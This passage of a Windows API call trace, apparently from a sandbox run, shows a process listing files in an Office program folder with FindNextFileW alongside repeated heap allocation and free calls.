lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc821f600, ftCreationTime.dwHighDateTime=0x1cbdfb3, ftLastAccessTime.dwLowDateTime=0xd776b9a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc821f600, ftLastWriteTime.dwHighDateTime=0x1cbdfb3, nFileSizeHigh=0x0, nFileSizeLow=0x183d780, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSO.DLL", cAlternateFileName="")) returned 1 [0048.940] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0048.940] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0048.940] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0048.940] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0048.940] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0048.940] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0048.940] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee94c400, ftCreationTime.dwHighDateTime=0x1cb7007, ftLastAccessTime.dwLowDateTime=0xd6225500, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xee94c400, ftLastWriteTime.dwHighDateTime=0x1cb7007, nFileSizeHigh=0x0, nFileSizeLow=0x73b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOICONS.EXE", cAlternateFileName="")) returned 1 [0048.940] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0048.940] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0048.940] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0048.940] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0048.940] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0048.940] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0048.940] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe5e15000, ftCreationTime.dwHighDateTime=0x1cbf3e5, ftLastAccessTime.dwLowDateTime=0xec32f3e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe5e15000, ftLastWriteTime.dwHighDateTime=0x1cbf3e5, nFileSizeHigh=0x0, nFileSizeLow=0x4529780, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSORES.DLL", cAlternateFileName="")) returned 1 [0048.940] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0048.940] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0048.940] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0048.940] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0048.940] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0048.940] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0048.940] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4293d00, ftCreationTime.dwHighDateTime=0x1cbc468, ftLastAccessTime.dwLowDateTime=0xd77dddc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa4293d00, ftLastWriteTime.dwHighDateTime=0x1cbc468, nFileSizeHigh=0x0, nFileSizeLow=0x135f90, dwReserved0=0x0, dwReserved1=0x0, cFileName="msoshext.dll", cAlternateFileName="")) returned 1 [0048.940] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0048.940] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0048.940] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0048.940] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0048.940] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0048.940] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0048.940] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc276d800, ftCreationTime.dwHighDateTime=0x1cab8aa, ftLastAccessTime.dwLowDateTime=0x6a050eb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc276d800, ftLastWriteTime.dwHighDateTime=0x1cab8aa, nFileSizeHigh=0x0, nFileSizeLow=0xdb50, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOXEV.DLL", cAlternateFileName="")) returned 1 [0048.940] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0048.940] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0048.941] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0048.941] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0048.941] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0048.941] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0048.941] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x553f4600, ftCreationTime.dwHighDateTime=0x1cab7c9, ftLastAccessTime.dwLowDateTime=0x593ede30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x553f4600, ftLastWriteTime.dwHighDateTime=0x1cab7c9, nFileSizeHigh=0x0, nFileSizeLow=0x1d950, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOXMLED.EXE", cAlternateFileName="")) returned 1 [0048.941] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0048.941] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0048.941] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0048.941] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0048.941] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0048.941] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0048.941] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x553f4600, ftCreationTime.dwHighDateTime=0x1cab7c9, ftLastAccessTime.dwLowDateTime=0x593ede30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x553f4600, ftLastWriteTime.dwHighDateTime=0x1cab7c9, nFileSizeHigh=0x0, nFileSizeLow=0xdb80, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOXMLMF.DLL", cAlternateFileName="")) returned 1 [0048.941] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0048.941] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0048.941] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0048.941] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0048.941] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0048.941] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0048.941] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3922200, ftCreationTime.dwHighDateTime=0x1ca911d, ftLastAccessTime.dwLowDateTime=0x59413f90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf3922200, ftLastWriteTime.dwHighDateTime=0x1ca911d, nFileSizeHigh=0x0, nFileSizeLow=0x124980, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPTLS.DLL", cAlternateFileName="")) returned 1 [0048.941] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0048.941] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0048.941] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0048.941] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0048.941] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0048.941] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0048.941] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x15d97a00, ftCreationTime.dwHighDateTime=0x1caa6a1, ftLastAccessTime.dwLowDateTime=0x6a1819b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x15d97a00, ftLastWriteTime.dwHighDateTime=0x1caa6a1, nFileSizeHigh=0x0, nFileSizeLow=0xac370, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSSOAP30.DLL", cAlternateFileName="")) returned 1 [0048.942] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0048.942] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0048.942] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0048.942] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0048.942] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0048.942] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0048.942] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8054ff00, ftCreationTime.dwHighDateTime=0x1cb7011, ftLastAccessTime.dwLowDateTime=0xcf459e40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8054ff00, ftLastWriteTime.dwHighDateTime=0x1cb7011, nFileSizeHigh=0x0, nFileSizeLow=0x1a5b, dwReserved0=0x0, dwReserved1=0x0, cFileName="MUAUTH.CAB", cAlternateFileName="")) returned 1 [0048.942] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0048.942] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0048.942] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0048.942] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0048.942] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0048.942] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d6868 [0048.942] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebf38) returned 1 [0048.942] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9e5858 [0048.942] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e65d8 [0048.942] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0048.942] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8054ff00, ftCreationTime.dwHighDateTime=0x1cb7011, ftLastAccessTime.dwLowDateTime=0xcf47ffa0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8054ff00, ftLastWriteTime.dwHighDateTime=0x1cb7011, nFileSizeHigh=0x0, nFileSizeLow=0x6190, dwReserved0=0x0, dwReserved1=0x0, cFileName="MUOPTIN.DLL", cAlternateFileName="")) returned 1 [0048.943] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0048.943] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0048.943] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0048.943] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0048.943] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0048.943] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0048.943] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x161d5800, ftCreationTime.dwHighDateTime=0x1cbd856, ftLastAccessTime.dwLowDateTime=0xd63a22c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x161d5800, ftLastWriteTime.dwHighDateTime=0x1cbd856, nFileSizeHigh=0x0, nFileSizeLow=0x38d88, dwReserved0=0x0, dwReserved1=0x0, cFileName="Oarpmany.exe", cAlternateFileName="")) returned 1 [0048.943] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0048.943] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0048.943] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0048.943] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0048.943] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0048.943] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0048.943] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f9d2900, ftCreationTime.dwHighDateTime=0x1cab9ac, ftLastAccessTime.dwLowDateTime=0xbe0f9da0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7f9d2900, ftLastWriteTime.dwHighDateTime=0x1cab9ac, nFileSizeHigh=0x0, nFileSizeLow=0x7568, dwReserved0=0x0, dwReserved1=0x0, cFileName="ODBCMON.DLL", cAlternateFileName="")) returned 1 [0048.943] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0048.943] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0048.943] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0048.943] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0048.943] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0048.943] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0048.943] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xbe974c00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbe974c00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office Setup Controller", cAlternateFileName="")) returned 1 [0048.943] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5de00200, ftCreationTime.dwHighDateTime=0x1cac9ac, ftLastAccessTime.dwLowDateTime=0x6bc953f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5de00200, ftLastWriteTime.dwHighDateTime=0x1cac9ac, nFileSizeHigh=0x0, nFileSizeLow=0x2560, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFREL.DLL", cAlternateFileName="")) returned 1 [0048.943] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0048.943] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0048.943] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0048.943] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0048.943] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0048.944] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0048.944] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5de00200, ftCreationTime.dwHighDateTime=0x1cac9ac, ftLastAccessTime.dwLowDateTime=0x6c2166d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5de00200, ftLastWriteTime.dwHighDateTime=0x1cac9ac, nFileSizeHigh=0x0, nFileSizeLow=0x4d88, dwReserved0=0x0, dwReserved1=0x0, cFileName="OPHPROXY.DLL", cAlternateFileName="")) returned 1 [0048.944] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0048.944] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0048.944] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0048.944] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0048.944] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0048.944] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0048.944] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6a43200, ftCreationTime.dwHighDateTime=0x1cb700e, ftLastAccessTime.dwLowDateTime=0xcf47ffa0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf6a43200, ftLastWriteTime.dwHighDateTime=0x1cb700e, nFileSizeHigh=0x0, nFileSizeLow=0x47a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OPTINPS.DLL", cAlternateFileName="")) returned 1 [0048.944] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0048.944] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0048.944] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0048.944] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0048.944] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0048.944] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0048.944] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1570ec00, ftCreationTime.dwHighDateTime=0x1cbc479, ftLastAccessTime.dwLowDateTime=0xe5d21520, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1570ec00, ftLastWriteTime.dwHighDateTime=0x1cbc479, nFileSizeHigh=0x0, nFileSizeLow=0xb7ba8, dwReserved0=0x0, dwReserved1=0x0, cFileName="PJ11OD11.DLL", cAlternateFileName="")) returned 1 [0048.944] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0048.944] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0048.944] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0048.944] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0048.944] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0048.944] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0048.944] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a461000, ftCreationTime.dwHighDateTime=0x1cb7018, ftLastAccessTime.dwLowDateTime=0xe5d47680, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x9a461000, ftLastWriteTime.dwHighDateTime=0x1cb7018, nFileSizeHigh=0x0, nFileSizeLow=0x3fb90, dwReserved0=0x0, dwReserved1=0x0, cFileName="PJRESC.DLL", cAlternateFileName="")) returned 1 [0048.944] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0048.944] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0048.944] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0048.944] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0048.944] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0048.944] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0048.944] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74bd800, ftCreationTime.dwHighDateTime=0x1cb71c8, ftLastAccessTime.dwLowDateTime=0xe5d93940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x74bd800, ftLastWriteTime.dwHighDateTime=0x1cb71c8, nFileSizeHigh=0x0, nFileSizeLow=0x3c2b90, dwReserved0=0x0, dwReserved1=0x0, cFileName="PRJRES.DLL", cAlternateFileName="")) returned 1 [0048.944] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0048.944] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0048.944] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0048.945] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0048.945] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0048.945] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0048.945] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a199a00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xdac16060, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4a199a00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x1c8b68, dwReserved0=0x0, dwReserved1=0x0, cFileName="RICHED20.DLL", cAlternateFileName="")) returned 1 [0048.945] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0048.945] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0048.945] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0048.945] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0048.945] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0048.945] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0048.945] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7339ac00, ftCreationTime.dwHighDateTime=0x1cbdfc2, ftLastAccessTime.dwLowDateTime=0xe5d93940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7339ac00, ftLastWriteTime.dwHighDateTime=0x1cbdfc2, nFileSizeHigh=0x0, nFileSizeLow=0x90778, dwReserved0=0x0, dwReserved1=0x0, cFileName="SERCONV.DLL", cAlternateFileName="")) returned 1 [0048.945] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0048.945] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0048.945] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0048.945] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0048.945] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0048.945] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0048.945] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xded68100, ftCreationTime.dwHighDateTime=0x1cb5970, ftLastAccessTime.dwLowDateTime=0xd68d72e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xded68100, ftLastWriteTime.dwHighDateTime=0x1cb5970, nFileSizeHigh=0x0, nFileSizeLow=0xc6b00, dwReserved0=0x0, dwReserved1=0x0, cFileName="USP10.DLL", cAlternateFileName="")) returned 1 [0048.945] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0048.945] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0048.945] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0048.945] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0048.945] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0048.945] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0048.945] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x520efa00, ftCreationTime.dwHighDateTime=0x1cbc41d, ftLastAccessTime.dwLowDateTime=0xd83064e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x520efa00, ftLastWriteTime.dwHighDateTime=0x1cbc41d, nFileSizeHigh=0x0, nFileSizeLow=0xc150, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBAJET32.DLL", cAlternateFileName="")) returned 1 